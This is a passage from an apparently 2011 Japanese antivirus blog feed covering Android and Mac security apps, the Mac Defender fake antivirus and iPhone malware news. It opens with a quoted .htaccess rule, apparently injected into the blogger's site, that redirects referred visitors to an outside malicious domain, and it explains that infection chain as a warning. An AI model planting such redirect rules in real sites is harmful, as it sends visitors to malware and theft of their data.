%{HTTP_REFERER} .*ya.* [OR] RewriteCond %{HTTP_REFERER} .*aport.* [OR] RewriteCond %{HTTP_REFERER} .*linkedin.* [OR] RewriteCond %{HTTP_REFERER} .*flickr.* RewriteRule ^(.*)$ http://xxxx.in/ahalai/index.php [R=301,L]

結果的に301リダイレクトをされていたようで、.htaccessを修正してもドメインが通常稼働に戻るまで（DNSがもどるまで）少し時間がかかります。

また、phpmyadmin（データベースMysqlをブラウザで管理するソフト）を不正操作されていたようです。

※phpmyadminのバージョンにおける脆弱性は存在するようですが、今回の被害については関係のない物と判断し修正いたします。

ワードプレスやムーバブルタイプを使っている人も、もし脆弱性が発見された場合は最新版へのアップデートなど最新の注意が必要です。

一般公開されたWEBサイトに対するウイルスのようなものですが、

サイト改ざん　→　不正リダイレクト　→　偽ソフト（これがウイルス）などをインストールさせる（あるいは閲覧しただけでスクリプトをブラウザなどに埋め込まれる）　→　個人情報を盗まれる

といった被害が考えられるのでWEBマスター（管理者）は厳重な注意が必要です。

]]> 拡大するスマートフォンウイルスAndroid被害の現状とスマホウィルス対策ソフト tag:30tx.com,2011://1.113 2011-10-21T22:57:15Z 2011-10-21T23:21:50Z アンチウィルス評価 http://30tx.com/mt/mt-cp.cgi?__mode=view&blog_id=1&id=1  

スマートフォンウイルスの現状　拡大するスマホウィルス

この１年で確認された５件から２５０件へ増加

フジテレビのめざましテレビで放映されていましたが、増加率を考えると現状の件数は参考にしないほうがいい。

そう思います。急拡大というか５０倍/年の激増ペースです。

被害タイプの種別

パソコンでのウィルス感染による被害パターンで最も恐れられるのは個人情報の搾取（銀行やクレジットの情報搾取などなど）だが、スマートフォンという電話機能と位置情報機能などを併せ持つ高性能端末になると、対策が必要な被害パターンが既知の種類とは異なってくるため警戒を促しておきます。

 

 

  • 感染したスマートフォンは勝手に電話発信を行う、その発信先は高額な課金業者などに設定され、後日法外な請求を求められるなどの被害パターン。
  • 感染したスマートフォンの位置情報を知らない間に監視され、空き巣に入られたりストーキングされるという被害パターン。
  • PCウィルス同様にキーロガータイプの動作により入力した暗証番号などを奪い取り銀行口座の預金やクレジットカードの情報操作などが行われるパターン。

 

 

スマートフォンウイルス対策ソフト

このような恐怖パターンに対抗すべくセキュリティソフトベンダーからは早々にウイルス対策ソフトが発売れている。

 

ウイルスバスター モバイル　for Android

 

2011-10-22_07-55-36.jpg

ウイルスバスターモバイル for Android 詳細

 

リモートロック・リモート消去 離れた場所にある端末内のデータの消去、端末のロック。

端末のアラームを鳴らすことも可能。

不正アプリ対策 見分けるのが難しい不正アプリのブロック。Android Marketなどからアプリをダウンロードする際に、リアルタイムでアプリチェックし、不正なアプリが端末にインストールされるのを未然にブロック。

インストール済みアプリの手動も可能。

Android端末およびSDメモリカード内に保存されているすべてのファイルを検索。

Androidの捜索 うっかりなくしても場所を特定。

GPS機能を利用して、Android端末の場所を特定することが可能。

パソコンのWeb管理画面からAndroidの操作をすると、地図上に端末のある場所を表示。

Web脅威対策 Webサイトの安全性を判定して、不正なWebサイトへのアクセスをブロック。

ダウンロードはコチラ

 

ノートン　モバイルセキュリティ

 

2011-10-22_07-56-05.jpg

ノートン モバイルセキュリティ詳細

なくしたり盗まれたりしたアンドロイド端末を遠隔地から無効にし、他人に個人情報を見られたり請求を課せられたりしないようにします。

 

GPS機能が有効であれば、アンドロイド端末をなくしたとしても、どこに端末があるのか、特定することができます。

 

アンドロイド端末をなくしたり盗まれたりした場合に、保存されているデータを遠隔地から消去し、個人情報や大事な財産が盗まれないようにします。

 

SIMカードが取り外されると電話にすぐロックがかかるため、他人が別のSIMカードでそのアンドロイド端末を使用することができません。

ダウンロードはこちら

 

Zoner Antivirus

 

2011-10-22_07-56-42.jpg

Zoner AntiVirus for Android devices - アンドロイドを保護しよう!Zoner AntiVirus® Free はアンドロイド端末のためのセキュリティとウィルス対策の最新の解決策です。ウィルス、ダイヤラー、トロイの木馬、ワームや他のマルウェアの脅威から守り、発着信やメールの送受信に関する保護も行えます。ウィルス対策のテストは、次のようなEICARテストファイルを含むアプリケーションを使って行うことができます。

Zoner  Antivirus 主な機能

* 盗難時の保護　(紛失した、または盗難にあったデバイスを見つけ、遠隔操作)

* インストールされているアプリケーションの保護

* オンアクセス スキャンとオンデマンド スキャン

* 発着信フィルタ (着信や受信をブロック)

* 通話に関するペアレンタルロック

* パーミッション ビューア

* タスクマネージャ

* ウィジェット盗難時の保護機能では、SMSメッセージによりデバイスの位置を割り出し、遠隔操作を行えます。紛失した場合、位置を割り出すか、周囲の人にデバイスに気がついてもらえるよう音を鳴らすこともできます。盗まれた場合は、SIMが入れ替えられた時に、通知されます。アプリケーションン保護では、新しくインストールするアプリケーションにマルウェアの危険がないかの確認を行ないます。インストール済みの古いアプリケーションについても、メニューから選択してスキャンすることができます。オンアクセス保護は、ダウンロードしたファイルやオプションでSDカード挿入時のSDカード全体をスキャンします。発着信フィルタは、不要なSMS/MMSをブロックし、有料の番号に接続する悪意あるアプリケーションからも保護してくれます。さらに、発信時にはペアレンタルロックが有効になります。

 

以上のようなスマートフォン専用ウィルス対策ソフトを導入するのがが現時点では有力な対策といえる。

最後のZonerについてはご存知の人も少ないと思うが、ゾナー（Zoner）はチェコに本社を置くソフトウェア開発会社。

このZonerAntivirus。現在Androidマーケット上で手軽にダウンロードできるので、何も対策を施していない人には非常に手軽に行える対策としてお知らせしておきます。

私自身も現時点ではZonerをインストールしてAndroid2.3およびAndroid3.2端末を動かしています。

非常に軽快で様々なアプリインストール時にも一瞬でウィルス検知を行なってくれます。

ただし、少し注意事項です。

Tablet型のAndroid端末と違い電話回線契約を入れているスマートフォンの場合、遠隔操作が十分機能しているウイルスバスターやノートンがやはり安心感という意味では価値が高いのではないでしょうか。

 

関連記事

iPhoneやスマートフォンに関するウイルス感染と対策方法について

]]> ウイルスバスターモバイルfor Androidスマートフォン向けウィルス対策ソフト提供開始 tag:30tx.com,2011://1.112 2011-09-29T03:32:42Z 2011-09-29T03:55:00Z アンチウィルス評価 http://30tx.com/mt/mt-cp.cgi?__mode=view&blog_id=1&id=1  

ウイルスバスターモバイル

 トレンドマイクロ　ウイルスバスターモバイル for android

トレンドマイクロは、11月中旬より発売されるauスマートフォンにKDDIが提供するサービス「安心セキュリティパック」において「ウイルスバスターモバイル for au」を開始する。

KDDIが2011年中旬より発売するスマートフォン・タブレット端末向けのセキュリティサービス「安心セキュリティパック」(月額315円)として提供される。

※同時に現在製品版としてドコモ、au、SOFT BANKのスマートフォンに対応したウイルスバスターモバイルfor androidも発売中です。

 

スマートフォンのウイルス対策に月額３１５円は高いかどうか

ではウイルスバスターモバイルの特徴を見てみましょう

 

ウイルスバスター モバイルfor Androidの特長

ウイルスバスター モバイル for Android は、トレンドマイクロがお届けするオールインワンのAndroid端末向け総合セキュリティ対策ソフトです。

 

  • パソコン版 ウイルスバスター2012 クラウド と同じクラウド技術を採用し安全性と軽快さを両立。
  • 盗難・紛失対策、Web脅威対策などで大切な個人情報が詰まったAndroid端末をしっかり守ります。
  • うっかり落としても、盗まれても安心。

 

リモートロックリモート消去機能で、紛失に気がついた時点で離れた場所の端末内のデータを消去したり、ロックするころができます。 GPS機能を利用して端末の場所を特定することもできます。

 

Android端末を狙う脅威を未然にブロック

不正なアプリは見分けが難しいもの。アプリをダウンロードする際に、アプリをチェックし、不正アプリのインストールを防ぎます。 また、パソコン向けの「ウイルスバスター2012 クラウド」と同じクラウド技術を採用し、Webサイトの安全性を判定して、不正なWebサイトへのアクセスをブロックします。

軽快な操作性を実現

アプリのインストールやWebサイトへのアクセス時など、必要なときにのみ動作する省エネ設計。

電池の消費が早いAndroid端末を快適にご利用いただけます。

 

トレンドマイクロ　ウイルスバスターモバイル for android

 

機能一覧

リモートロック・リモート消去

離れた場所にある端末内のデータの消去、端末のロック。

端末のアラームを鳴らすことも可能。

不正アプリ対策

見分けるのが難しい不正アプリのブロック。Android Marketなどからアプリをダウンロードする際に、リアルタイムでアプリチェックし、不正なアプリが端末にインストールされるのを未然にブロック。

インストール済みアプリの手動も可能。

Android端末およびSDメモリカード内に保存されているすべてのファイルを検索。

Androidの捜索

うっかりなくしても場所を特定。

GPS機能を利用して、Android端末の場所を特定することが可能。

パソコンのWeb管理画面からAndroidの操作をすると、地図上に端末のある場所を表示。

Web脅威対策

Webサイトの安全性を判定して、不正なWebサイトへのアクセスをブロック。

パソコン向けの「ウイルスバスター2012 クラウド」と同じクラウド技術を採用※。ウイルス、スパイウェア、不正アプリケーションの配布元サイトや、フィッシングサイト、さらには、不正アプリの情報送信先サイトなどへのアクセスを未然にブロック。

省エネ設計

アプリのインストールやWebサイトへのアクセス時など、必要なときにのみ動作する省エネ設計。 電池の消費が早いAndroid端末も安心。

SIMカードの保護

SIMカードが差し替えられたら、端末をロックします。端末を落としたり盗まれたりした時に、SIMカードを差し替えて悪用されるのを防ぎます。

ペアレンタルコントロール

有害サイト規制法※に準じて、未成年が有害なサイトにアクセスするのを未然に防ぐ、Webフィルタリング機能。

ギャンブルや出会い系サイトなど、84のカテゴリを3段階のレベルに応じてブロック。

迷惑電話SMS対策 迷惑な電話やSMS（メッセージ）をブロック

迷惑電話やSMSの着信を拒否。

 

といった感じだ。

ウイルスバスターモバイルfor android 製品版なら２９８０円/年

パソコンのウイルス対策ソフト同様にペアレンタルコントロールや迷惑メール対策なども含まれている。

現時点でandroidスマートフォンはバッテリー寺即時間に課題を抱えるが、そこも省エネ設計と表記が有るため、電源の持ち時間もそこそこ期待できるかもしれません。

 

2011-09-29_12-51-23.jpg

製品版なら２９８０円で利用可能だが…。

 

月額３１５円を携帯端末の保険料として支払う形態は今までも存在していたため、こういった未知の脅威に対する保険も加わって従来と同額であればお得と言えよう。

しかしながら、パソコンのウィルス対策ソフトと同じ観点でみてしまうと年間３６００円をスマートフォンにウイルス対策のためだけに割り当てると考えれば割高に感じるかもしれない。

スマートフォン、特にアンドロイド端末には不正アプリのインストール防止などは標準的に意識すべき問題であるため、こういったスマートフォン専用ウィルス対策ソフトの導入は今後主流になることでしょう。

トレンドマイクロ　ウイルスバスターモバイル for android

※こちらのウイルスバスターモバイルはau以外のスマートフォン（docomo SOFT BANKでもご利用可能です）

 

ウイルスバスターモバイル for au 対応OS

Google Androidプラットフォーム

Android OS 2.2/2.3/3.0/3.1/3.2

9MB以上のメモリ (スマートフォン)、16MB以上のメモリ（タブレット）インターネット接続

 

 

]]> ESET Cybersecurity Mac無料体験３ヶ月開始 tag:30tx.com,2011://1.111 2011-07-20T04:44:17Z 2011-07-20T05:00:49Z アンチウィルス評価 http://30tx.com/mt/mt-cp.cgi?__mode=view&blog_id=1&id=1  

eset_mac.jpg

 

キャノンITソリューションズよりESET Cybersecurity for Macの無料モニター版配布が開始された。

ESET Cybersecurity for Macとは

スロバキアに本社を置くセキュリティソフトのメーカーでヨーロッパでは大きなシェアを持ち、日本国内でもESET Smart Securityというウィルス対策ソフト（Windows版）で有名だ。Windows版では国内シェア上位のESET。

この高性能なアンチウィルスソフトがMacOSⅩの発売日に合わせて本日より無料でダウンロードできる。

Macでウイルス対策を行うことについては必要か必要でないかの議論もあるところだが、個人的にはMacにも安心できるウィルス対策ソフトの導入は必要だと感じる。

なぜならMacは売れているから。

Macが売れてない時代ならMacOS搭載のセキュリティ性能だけでウイルス感染については問題なかったかもしれないが、昨今のMacウィルス感染のニュースを見る限りWindowsユーザー同様にMacもウィルス対策は必要だと考えます。

ESET Cybersecurity for Macをインストールしてみて

実際にESETをMacにいれてみるとわかるのですが、最新のMacBookProやMacBookAirならパソコンの動作が遅くなるとか重たくなるといったことは一切感じないだろう。

こと、この軽さについては定評のあるESET。

Mac版ではWindows版を遥かにしのぐ軽さで個人的にも非常に驚いている。

他のMac版ウィルス対策ソフトではこういった軽さを感じる事は出来ないが（ブラウザ監視機能やリアルタイム監視機能をオフにすれば別だが）ESET Cybersecurity for Macはウイルス対策ソフトもここまで来たか！と思わせるほどの静かな監視ぶりに驚かされる。

ESET Cybersecurity for Mac無料ダウンロード　日本語版

１０月３１日まで無料で使用可能でライセンス版と何ら変わりのない最高のセキュリティを提供されています。

関連記事

ESET Cybersecurity macをインストール

 

]]> ESET Cybersecurity for Macをインストール（英語版）日本語版待ち tag:30tx.com,2011://1.110 2011-07-14T02:44:37Z 2011-07-20T04:59:22Z アンチウィルス評価 http://30tx.com/mt/mt-cp.cgi?__mode=view&blog_id=1&id=1  

eset_cybersecurity.jpg

 

ESET Cybersecurity for Macの管理画面。

MacBookPro　13インチを使い始めてMacにウイルス対策が必要かどうか多少迷いはあったものの、昨今のMacウイルスの流行度合いを見ていると仕事用や金融機関の取引にも使うMacなので一応完全なセキュリティ対策を施したいと考えた。

インストール候補にあがったMac用ウイルス対策ソフトは

ESET Cybersecurity for Mac

ウイルスバスター for Mac

ノートン Mac

以上の３種類。無料のAvast!なども検討したが以前、苦い思いをしているのでMacでは一旦やめておくことにした。

Macのウイルス対策ソフトについていくつかのインストール体験をしているので体験談的に使用感などを書いていきたいと思います。

まずは、現在インストール済みのESET Cybersecurity for Mac。

こちらのESET Cybersecurityは日本語版が販売されておらず、（発売日は近いそうです）英語版の無料体験をいれてみた。結論からいうとWindows版のESET Smart Security同様、Macはセキュリティソフトをインストールする前と何ら動作に変化が見られなかった。ということです。

ではインストールの手順を

ESET Cybersecurity for Macインストール手順

 

インストール用のダウンロードイメージはESETの英語サイトから入手します
フリーダウンロードページはこちらです。


http://www.eset.com/us/download/free-trial/international


日本語版も２０１１年７月２０日より無料配布されています

ESET mac 無料版

Linux用とMac用があるので　Mac　と書かれた項目をダウンロードしてください。
dmgがダウンロードできたらクリック

uninstall.jpg

 

インストール用のファイルとアンインストール用のファイルが出てきます。
ここではinstallをダブルクリックで開いてインストーラーの指示に従います。

※　注意
このUninstallのファイルはESET Cybersecurity for Macをアンインストールするときに必要になります。
Macのアプリケーションをアンインストールする専用アプリもありますが、セキュリティソフトの場合は付属のアンインストール機能を使う方が確実で便利ですので、このダウンロードイメージは残しておきましょう。


eset1.jpg

 

英語版なのですが、アプリケーションのインストール方法はMacの他のソフトなどと同様インストーラーの指示に従うだけで問題ないと思います。

 

2011-07-12_11-03-19.jpg続けるをクリック

2011-07-12_11-03-37.jpg英語版には選択肢はEnglishしかないのでそのまま続けるをクリック

2011-07-12_11-03-50.jpgTypicalがデフォルトで選択されてます。そのまま続ける

2011-07-12_11-04-00.jpg中央のチェックボックスにチェックをいれて続ける

2011-07-12_11-05-25.jpgいくつか選択肢がありますが、上記のような選択で進めました。お好みで選択して続ける

2011-07-12_11-05-35.jpgMac上のHDDに40.2MBの空き容量が必要です。
インストールをクリックでESET Cybersecurity for Macのインストールが自動的に始まります。

2011-07-12_11-07-11.jpgMacを再起動すればESET Cybersecurity for Macが完全なセキュリティを確保してくれます。

ESET Cybersecurity for Mac　使ってみて感想　やっぱ軽いです。

Macにウイルス対策ソフトをいれて安心感を手に入れるのはいいけど、実際に動作がWindowsみたいに重たくなるのはいやだ。
そう思っていたのですが、ESET Cybersecurity for Macを入れる前といれた後でほぼ変化を感じない。
Macの動作は軽快そのもの。

インストールした環境は
MacBookPro13インチ　Corei5のデュアルコアCPU。メモリー8GB
メモリーに余裕が有るからなんでしょうか。Windowsの時のように変化を感じなかった。
2011-07-12_11-10-03.jpgインストール完了後　Trial Licenseというのを選択すれば無料体験版を３０日試用できます。
これで実際にMacBookAirやiMacなんかで試してみるといいでしょう。
ウイルスバスターも試したけどウイルスバスターのようにウイルス検索してるときに少しカクカクする動作は極めて少ない。それがESET Cybersecurity for Macです。

2011-07-12_11-11-24.jpg

 

無料体験版は氏名、メールアドレスと使用する国を入力するだけです。

増え続けるMacOSを狙ったウイルス、OSに関係なく被害をもたらすWEBサイトの改ざん。
こういった危険から確実にMacを守ってくれるESET Cybersecurity for Mac。

 

]]> スマートフォンandroidのウイルス対策にアプリ登場！ノートンモバイルセキュリティ tag:30tx.com,2011://1.109 2011-05-31T04:07:03Z 2011-10-21T23:18:49Z アンチウィルス評価 http://30tx.com/mt/mt-cp.cgi?__mode=view&blog_id=1&id=1 norton_mobile_security.jpg

価格　２９８０円 １年（普通にウイルス対策ソフトと同じ年間ライセンスです）

ついに出ました。ウイルス対策ソフトの定番ノートンからスマートフォンandrid端末用にセキュリティアプリが発売されました。

ノートンモバイルセキュリティ（android）

シマンテックストア

NTT Docomo　au　ソフトバンクから発売されるアンドロイド端末他

対応通信キャリア

NTTドコモ、ソフトバンクモバイル、イー・モバイル

対応アンドロイドOS

Android™ 2.0/2.1/2.2/2.3/3.0 端末向け

 

では、スマートフォン端末にウイルス対策ソフトを導入すべきかどうか少し考えてみましょう。

android端末にはウイルス対策が必要　脱獄iPhoneと同じ環境かも

スマートフォンの普及率を見るとiPhone、andoridに関わらず急速なペースで利用者が増えている。

スマートフォン利用者は簡単に好きなアプリを探し、簡単な手続きでアプリをダウンロードできる。

これは従来のPCから利便性が上がった「自由で個人仕様の端末のカスタマイズ」を可能にしたもので、こういった要素がスマートフォン利用者拡大の要因のひとつとも言われています。

 

2011-05-31_12-52-36.jpg

 

２０１１年現在、日本国内ではiPhone利用者がandorid利用者を上回っていますが、欧米諸国およびアジア中国圏ではandorid端末がより多く普及しています。２０１３年には日本でもandoroid端末が普及数を上回ると予想されています。（スマートフォンおよbタブレットPC合計）

アプリの入手経路に課題があるandroidマーケット

iPhoneユーザーはappストア、androidユーザーはandroidマーケットでアプリを購入します。

iPhoneにもandroidにも多くの無料アプリが存在しますが、appストアは無料アプリでも厳しい審査の上、マーケットに陳列されるのに対して、androidアプリは無審査でさまざまな無料アプリが配布されます。

そう、悪意のウイルスを仕込んだものでもマーケットに配布させることも可能という意味です。

iPhoneは脱獄（JailBreak）した端末でさまざまなアプリ（appストアにないもの）をダウンロード＆インストールできるようになります。その結果脱獄iPhone利用者は様々なiPhoneウイルスに感染し個人情報を盗まれたり、WEBサービスへのスパム行為の踏み台にされるなど被害が出ています。

android端末の場合、普通に公式のマーケットからアプリを購入してもこういう危険にさらされる可能性があると言えます。

こういったマルウェア（悪いことするウイルス）からスマートフォンを守るためにウイルス対策アプリは必須ともいえるのが現在のスマートフォン（android）環境なのです。

ノートンモバイルセキュリティはスマートフォンならではのウイルス対策アプリ（ソフト）

 

2011-05-31_12-53-45.jpg

 

単純にスマートフォン端末を紛失したときも個人情報をガードしてくれる機能を搭載してる。

そして肝になるウイルス駆除対策機能だが、PCウイルス対策で培った歴史的機能をしっかりと踏襲。

マルウェア対策では悪意のあるアプリケーションを最新の定義ファイルと照らし合わせアンドロイド端末へのウイルス侵入やSDカードへのウイルス感染を防いでくれるという仕様。安心できる機能です。

 

2011-05-31_12-58-32.jpg

 

 

PCのウイルス対策同様にスマートフォンでも自動でウイルス対策と駆除ができるのがノートンモバイルセキュリティです。

ウイルス検知の様子は

 

2011-05-31_12-58-56.jpg

 

ウイルススキャンもスマートフォンの画面でしっかりと確認できる。動作も軽快そのもの。

下手なメモリークリア用アプリなどよりスキャン動作は速いです。

最近ではPCウイルス対策でも軽くて軽快なソフトとして実力をあげてきています。

ウイルスに関してはノートンモバイルセキュリティで完全に安心できるものとなるでしょう。

それよりもモバイル端末ゆえの不安「紛失、盗難」に対する防御機能が目を引きます。

これぞスマートフォンセキュリティといえる機能ではないでしょうか。

ノートンモバイルセキュリティのここがスゴイ！

 

2011-05-31_12-55-32.jpg

 

紛失や盗難の際はリモート操作で端末をロックし、データを消去することも可能です。

位置検索で盗難や紛失の場所を発見することもできます。

 

2011-05-31_12-56-59.jpgAppleのiPhoneなら純正でこの機能に加入する保険もありますがandroid利用者にもこういう安心が手に入れる方法が出来たことは歓迎すべきでしょう。
仮に盗難や拾得者がSIMカードを抜いて端末だけ操作しようとしても端末はロックされます。
2011-05-31_12-56-35.jpg

意外と侮れないSNS迷惑メール対策機能

スマートフォンに切り替えてからSNS（従来の携帯電話メール）での広告や迷惑メールが異常に増えた気がします。これらの防御対策が今のところ確立されていないのですがノートンモナイルセキュリティの優れたポイントのひとつにSNS着信拒否（迷惑メール対策）機能が有ります。
2011-05-31_12-59-30.jpg遮断できるのはメールアドレスに加えて電話番号も設定可能。スマートフォンがより便利になる迷惑メール対策は個人的に気に入っている機能です。

まとめ

利用者が多い端末ほど便利で実益を伴う物です。Windowsパソコンが世界中に普及したときと同様、android端末のスマートフォンやパッド類（タブレットPC）も確実に普及していくことでしょう。

普及した端末のセキュリティホールは必ず狙われるという歴史も同時に出来てしまいました。

スマートフォン利用者でビジネスや金融取引など個人情報の深い部分をモバイル端末で操作されるのであれば保険という意味でウイルス対策とセキュリティ管理が一体化したノートンモバイルセキュリティを便利なアプリとして導入されてみるべきでしょう。

ノートンモバイルセキュリティ　詳細
シマンテックストア

 

]]> MAC DefenderはMacの偽ウイルス対策ソフトです　ウイルス感染後の行動に注意！ tag:30tx.com,2011://1.108 2011-05-20T16:25:21Z 2011-05-20T17:15:53Z Macはwindows用のウイルスを寄せ付けません。 Appleのキャッチコピーより。 そりゃそうでしょうね、OSそのものが違いますから。ここ数年MacBook ProやMacBookAir、iMacなど低価格で高性能を売りにMacが普及していますね。やはり、Macのウイルス、しかもタイプ的には怖いウイルス、トロイの木馬タイプのものが流行しているようです。Mac Defender　Macのウイルス対策ソフトを購入させようとする。MacOS Xをターゲットにトロイの木馬Mac ... アンチウィルス評価 http://30tx.com/mt/mt-cp.cgi?__mode=view&blog_id=1&id=1 Macはwindows用のウイルスを寄せ付けません。

Appleのキャッチコピーより。

そりゃそうでしょうね、OSそのものが違いますから。
ここ数年MacBook ProやMacBookAir、iMacなど低価格で高性能を売りにMacが普及していますね。
やはり、Macのウイルス、しかもタイプ的には怖いウイルス、トロイの木馬タイプのものが流行しているようです。
Mac Defender　Macのウイルス対策ソフトを購入させようとする。
MacOS Xをターゲットにトロイの木馬Mac Defenderが進行している。

感染症状

強制的にブラウザへポルノサイトや画像を連続表示（いわゆるブラウザクラッシュ（ブラクラ）させ、ユーザーの不安を煽る。迷惑行為のウイルスに感染しているとの表記を示し偽セキュリティーソフトである「Mac Defender」を購入させようとしている。

注意するべきこと

トロイの木馬は知らない間に侵入して時を見て活動を開始するウイルス。
活動内容はさまざまだが、今回のタイプの場合、ウイルス対策ソフトの購入を煽られても一旦無視すれば良い。

この感染したファイルが引き起こす不具合な症状（ブラクラ）については別途本物のウイルス対策ソフトで駆除処理すればいいとして、問題は偽ウイルス対策ソフトの購入をしてしまうことにある。

偽物の購入サイトでクレジットカードの情報を引き抜かれてしまうと取り返しのつかないことになりかねない。

 

これが偽ウイルス対策ソフトの購入サイトです


では、Mac Defenderの購入からインストールがどのような雰囲気か見てみよう

Mac用偽ウイルス対策ソフト

以下、偽のウイルス対策ソフトを購入後の解説なのでご注意ください。
フランスのセキュリティー会社Intego.comのニュースより

2011-05-21_01-21-30.jpg
Integoのセキュリティメモ - 2011年5月2日
のMAC Defenderの偽ウイルス対策プログラムは、Macユーザーを狙う

マルウェア ：OSXの/ MacDefender.A

リスク ：低、野生では、今ではなく広く、非常に

説明は ：Integoは）結果が発見された偽の検索トップのアンチウイルスでに表示されるサイトは、取得する悪意のあるプログラムは、エンジンの最適化、検索を活用するためにアップ（Webサイトの設定攻撃中毒と呼ばれるのMACのSEOを介してユーザを対象にMacのDefenderを、トリック。
Googleなどの検索エンジンで検索を実行した後で、特定のリンクをユーザーがクリックすると、彼らはマルウェアのスキャンshowingアニメーションイメージを使用して偽のWindows画面を表示するWebサイトに送信されると、ウィンドウは、ユーザーに通知し、コンピュータthat感染しています。 この後、自動的にページファイルをダウンロードJavaScriptに。 ダウンロードしたファイルは、Webブラウザで特定のオプションがチェックされている場合は、圧縮ZIPアーカイブ（たとえば、Safariで"ダウンロード後に開く'安全なファイルは"）、開かれますです。 ファイルが解凍されインストーラは、次の画面でユーザーを提示起動が含まれています：

MAC Defenderは、また、数分ごとに、ユーザーのWebブラウザでポルノのWebサイトのWebページを開きます。 これは、ほとんどのユーザーは、彼らは、ウイルスに感染していることと、そのMAC Defenderの支払い問題であることを緩和します思わせる可能性があります。

 

以上Google翻訳です。

以上、Intego.comより引用

ニュース本家のアンチウィルスソフトはMac用として有名。

IntegoのMac用アンチウイルスソフト ウイルスバリアー

読売新聞に詳しく解説が有りました

アメリカ、ドイツ、イギリスなどでは、Macユーザーが増え、パソコン出荷台数に占める割合も増えてきている（アメリカの場合、16％程度）。日本 ではまだ3％程度だが、Macユーザーが増えていることは間違いない。今まで「Macは比較的安全」と思われてきたのは、ユーザーが少なく、犯罪者にとっ て攻撃する価値が低かったためだが、Macの普及率上がるにつれ初心者ユーザーが増え、ウイルスやオンライン詐欺などの標的として狙われやすくなった。

今後はMacでも必ずセキュリティー対策ソフトを導入しよう。

狙われるMac

 

以下、本記事へ戻ります。

Macを使っていて同様のブラウザクラッシュ的な不具合が発生した場合はとりあえずAppleサポートに問い合わせてみるといいだろう。

ただし、ここ最近AppleCareへの問い合わせでこの手のウイルス感染に関するトラブルが多く報告されているようなので繋がりにくいかもしれないです。

現在、日本国内でMac用ウイルス対策ソフトはこちらのページに記載しているものが主流です。

皆さんご存知の有名メーカーなので安心できると思います。

Mac用ウイルス対策ソフト

Mac対応のウイルス対策ソフト　ウイルスバスター ノートン

 

この例がどうこうよりも今後気をつけるべきことは

Macはwindows用に開発されたウイルスには感染しないがMac用に開発されたウイルスには感染する。

ということです。

今は少ないだけですがMacそのものが普及すればそういった悪意のウイルスなども自然と開発されて増えていくんでしょうね。

自分も気をつけたいと思います。

]]> iPhoneやスマートフォンに関するウイルス感染と対策方法について tag:30tx.com,2011://1.107 2011-04-18T16:40:41Z 2011-05-31T04:51:55Z iPhoneやスマートフォンの普及につれて少しずつですがウイルス感染だとかウイルス検知の情報が出ています。 けっこう古くからウイルスの存在などは騒がれていて、検知されたウイルスの種類はワームやトロイの木馬タイプなど多様化している様子。ではいくつかのニュースを追ってみましょう。 古い発見は２００８年１月の情報 ウイルスは、「iPhone firmware 1.1.3 prep」というファイル名（パッケージ名）で、あるWebサイトに置かれていた。そのWebサイトでは、「An i... アンチウィルス評価 http://30tx.com/mt/mt-cp.cgi?__mode=view&blog_id=1&id=1 iPhoneやスマートフォンの普及につれて少しずつですがウイルス感染だとかウイルス検知の情報が出ています。

けっこう古くからウイルスの存在などは騒がれていて、検知されたウイルスの種類はワームやトロイの木馬タイプなど多様化している様子。ではいくつかのニュースを追ってみましょう。

古い発見は２００８年１月の情報

ウイルスは、「iPhone firmware 1.1.3 prep」というファイル名（パッケージ名）で、あるWebサイトに置かれていた。そのWebサイトでは、「An important system update. Install this before updating to the new 1.1.3 firmware（これは、重要なシステムのアップデートです。新しいファームウエア1.1.3にアップデートする前にインストールしてください）」とし て、iPhoneのファームウエアに見せかけてインストールさせようとする。

複数の報告によれば、この「偽ファームウエア」をインストールしても、iPhoneには大きな影響を与えないという。問題はアンインストールするとき。 偽ファームウエアは、インストール時に、既存のアプリケーションのいくつか――例えば、コマンドラインのユーティリティである「Erica's Utilities」や、安全な通信を実現する「OpenSSH」――を上書きしてしまう。

http://itpro.nikkeibp.co.jp/article/NEWS/20080108/290627/

こちらについては侵入するだけで感染を広げるものではない様子。

感染したiPhoneは脱獄（Jail Break）しているものが多い

ｉＰｈｏｎｅ、ｉＰａｄの“脱獄”とは、アップルによるソフト上の規制を取り外すこと。アップルの審査を通っていないアプリが使えたり、さまざまなカスタマイズができるようになる。アップルの保証が利かなくなるが、利便性を求める一部のマニアが“脱獄”を行っている。
実は今回の脆弱性は、この“脱獄”実行のサイト「ＪａｉｌｂｒｅａｋＭｅ」が広まったことから表面化した。「ＪａｉｌｂｒｅａｋＭｅ」というサイ トでは、サイト上のボタンを押すだけで“脱獄”できてしまう。「ＪａｉｌｂｒｅａｋＭｅ」の作者が、ｉＯＳの脆弱性を利用していたわけだ。筆者の推測には なるが、アップルが迅速にアップデートファイルを配布した理由は、脆弱性を直すだけではなく、脱獄を防止する目的があると思われる。今後は「脱獄できる」 と称して、ウイルスに感染させるパターンも登場するかもしれない。知識のない人は「脱獄」には関わらないほうがいいだろう。

http://www.yomiuri.co.jp/net/security/goshinjyutsu/20100813-OYT8T00537.htm

たしかに脱獄自体がiPhoneの脆弱性をついて作られた環境なので俗にいうウイルスのように外部から操作したり内部破壊のような動きをするファイルを送り込むことも可能だと考えられます。しかし、パソコンのインターネット環境ほど常時接続ではないiPhoneやスマートフォンは通常の使用（JailBreakなどしていない環境）ではウイルス感染は考えにくいのかもしれません。そのためにiPhoneなどはiOSのアップデートを繰り返しているようにも見えます。（JBの防止やセキュリティの向上を含めてアップデート）

ウイルス感染やウイルスが実在することはわかりましたが、パソコンのようにウイルス対策ソフトは必要なのでしょうか？

ウイルス対策ソフトはパソコンの場合常時バックグラウンドで稼働しているため少なからず電力消費を加速させています。iPhoneやスマートフォンの場合こういうバックグラウンドの稼働はモバイルバッテリーの消費を著しく消費させることでしょう。

インターネットへ常時接続ではないiPhoneやスマートフォン

モバイル機器のためPCのような常時稼働は望ましくない

といったポイントを考えるとiPhoneやスマートフォンのウィルス対策は侵入を防ぐタイプのものよりも感染後ウイルスを検知するようなものが主流になるのかもしれません。

スマートフォン用ウイルス対策ソフトも存在します。

シマンテックでは従来よりMacOS用のウィルス対策ソフトを扱っていましたがiPhone用のウィルス対策ソフトも開発しているようです。現時点ではAndroidOS用にカスペルスキーが早々にソフトを開発しています。

カスペルスキーからモバイルセキュリティ9 for Androidが発売

カスペルスキーモバイルセキュリティ 9 (Android OS) は、Android OS バージョン 1.6-2.2 が搭載されたモバイル端末にインストール可能です。

この製品は、次のモバイル端末上でテスト済みです:

Docomo
  • GALAXY S (SC-02B)
  • LYNX 3D (SH-03C)
  • REGZA Phone (T-01C)
  • GALAXY Tab (SC-01C)
au
  • is03
